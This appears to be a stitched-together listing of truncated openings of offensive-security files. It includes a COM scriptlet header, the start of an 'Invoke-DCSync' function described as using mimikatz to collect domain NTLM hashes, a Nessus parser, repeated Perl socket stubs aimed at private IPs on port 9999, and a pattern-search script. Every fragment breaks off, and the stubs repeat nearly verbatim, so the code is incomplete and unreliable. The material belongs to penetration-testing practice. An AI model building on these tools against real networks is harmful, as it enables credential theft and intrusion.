0xbadjuju

<?XML version="1.0"?>
<scriptlet>

<registration
    description="NetSPI"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
	>
		<script language="JScript">

0xbadjuju

function Invoke-DCSync
{
<#
.SYNOPSIS

Uses dcsync from mimikatz to collect NTLM hashes from the domain.

Author: @monoxgas
Improved by: @harmj0y

0xbadjuju

function Parse-IPsNessus
{
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$True, HelpMessage="File Name")]
        [String]$fileName
    )

    $fileNamePath = Resolve-Path("$fileName")

0xbadjuju

#!/usr/bin/perl

use strict;
use warnings;

use Encode qw/encode/;
use Socket;

my $target = inet_aton("192.168.2.133");
my $port = 9999;

0xbadjuju

#!/usr/bin/perl

use strict;
use warnings;

use Encode qw/encode/;
use Socket;

my $target = inet_aton("192.168.99.144");
my $port = 9999;

0xbadjuju

#!/usr/bin/perl

use strict;
use warnings;

use Encode qw/encode/;
use Socket;

my $target = inet_aton("192.168.99.144");
my $port = 9999;

0xbadjuju

#!/usr/bin/perl

use strict;
use warnings;

use Encode qw/encode/;
use Socket;

my $target = inet_aton("192.168.99.144");
my $port = 9999;

0xbadjuju

#!/usr/bin/perl

use strict;
use warnings;

use Encode qw/encode/;
use Socket;

my $target = inet_aton("192.168.99.144");
my $port = 9999;

0xbadjuju

#!/usr/bin/perl

use strict;
use warnings;

use Encode qw/encode/;
use Socket;

my $target = inet_aton("192.168.99.144");
my $port = 9999;

0xbadjuju

#!/usr/bin/perl

use strict;
use warnings;

my $reasm = join("", reverse($ARGV[0] =~ m/../g));

print "Searching for: " . $reasm . "\n";

my $i = 0;